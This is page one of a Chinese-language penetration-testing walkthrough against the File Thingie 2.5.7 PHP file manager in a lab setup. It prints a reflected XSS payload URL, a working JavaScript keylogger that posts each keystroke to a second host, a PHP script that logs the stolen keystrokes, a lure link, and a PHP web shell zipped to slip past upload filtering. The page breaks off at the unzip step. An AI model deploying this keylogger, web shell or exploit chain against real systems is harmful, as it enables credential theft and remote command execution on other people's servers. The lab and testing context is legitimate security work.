针对File Thingie从XSS到文件上传再到RCE的渗透过程

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29

File Thingie是一个由PHP编写的基于Web的文件管理工具,它的好处在于体型小、功能全、易于操作。整个软件仅1MB大小,而且不需要数据库,能够方便快捷地读取服务器上的目录信息。它能够实现文件上传、多用户操作、创建文件夹、对文件或文件夹进行重命名、移动、删除、拷贝操作以及在线解压文件等等功能。本文从XSS漏洞到文件上传再到任意代码执行,分三个阶段详细讲述一次完整的渗透测试过程。
实验环境
1.目标主机:Debian9.6
2.渗透主机:kali-linux-2018.3-vm-i38
3.软件版本:File Thingie 2.5.7
4.XAMPP for Linux 5.6.30
渗透过程
1.利用反射型XSS获取File Thingie的用户名和密码:
1.1通过前期的扫描和测试,疑似在FileThingie的登录页面中存在反射型XSS,构造特定的URL来验证漏洞,具体如下:
http://192.168.188.155/filethingie/ft2.php?dir=script>alert('Hello World')script>
1.2从下图可以看出,有“Hello World”弹窗,说明反射型XSS漏洞确实存在:

1.3利用此漏洞,通过获取键盘记录的方式来盗取File Thingie的用户名和密码:
将keyrecorder.js、keyrecorder.php以及learnmore.html保存到渗透主机Kali的/var/www/html目录下,通过命令service apache2 start来启动apache服务。
keyrecorder.js获取受害客户端的键盘记录,并通过POST方式传输到渗透主机,具体代码如下:
document.onkeypress = function(evt){
 evt = evt || window.event
 keyrecord = String.fromCharCode(evt.charCode)
 if (keyrecord) {
  var http = new XMLHttpRequest();
  var param = encodeURI(keyrecord);
  http.open("POST","http://192.168.188.156/keyrecorder.php",true);
  http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  http.send("keyrecord="+param);
  }
}
keyrecorder.php接收受害客户端传输过来的键盘记录,并写入到keyrecord.txt中,具体代码如下:
 $key=$_POST['keyrecord'];
 $record_file="keyrecord.txt";
 $record_fp = fopen($record_file, "a");
 fwrite($record_fp, $key);
 fclose($record_fp);
?>
learnmore.html是一个简易的社工页面,实际操作中黑客会通过将恶意URL多重编码、添加诱惑性图像文字等方式来精心定制社工页面,增加诱导性,对此一定要提高警惕。learnmore.html的具体代码如下:
a href="http://192.168.188.155/filethingie/ft2.php?dir=">Learn Morea>
1.4受害者被社工诱骗点击了页面learnmore.html中的LearnMore按钮之后,如果在File Thingie登录页面中输入用户名和密码,那么此时用户名和密码就被实时传输到了渗透主机Kali中,通过BurpSuite抓包,发现有很多POST包,每一个数据包中就是一个按键记录,如下图所示:

再次查看keyrecord.txt文件,可以看到成功获取了登录的用户名和密码,如下图所示:

PS:还可以通过BeEF盗取受害客户端的Cookie,从而进行Cookie欺骗,登录File Thingie,此过程不再赘述,前面一篇关于XSS的文章中有详细描述。
2.上传后门文件:
2.1利用步骤1中获取到的用户名和密码登录File Thingie,尝试上传一个名为1.php的文件,如下图所示:

可以看到1.php未能成功上传,文件类型不允许,看来是后台做了文件类型限制,这也在意料之中。如果直接能上传php文件,这个软件就做得太不严谨了。
2.2这里写了一个简易的php后门文件,将后门文件压缩为backdoor.zip,后门文件具体如下:
if(isset($_REQUEST['cmd'])){
        echo "
";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "";
        die;
}
?>
2.3尝试上传zip压缩文件,如下图所示,backdoor.zip上传成功:

2.4现在php后门文件在zip压缩包中,肯定是无法运行的。我们通过构造如下URL和POST参数,可以进行zip文件解压操作,URL如下所示:

[1] [2] [3]  下一页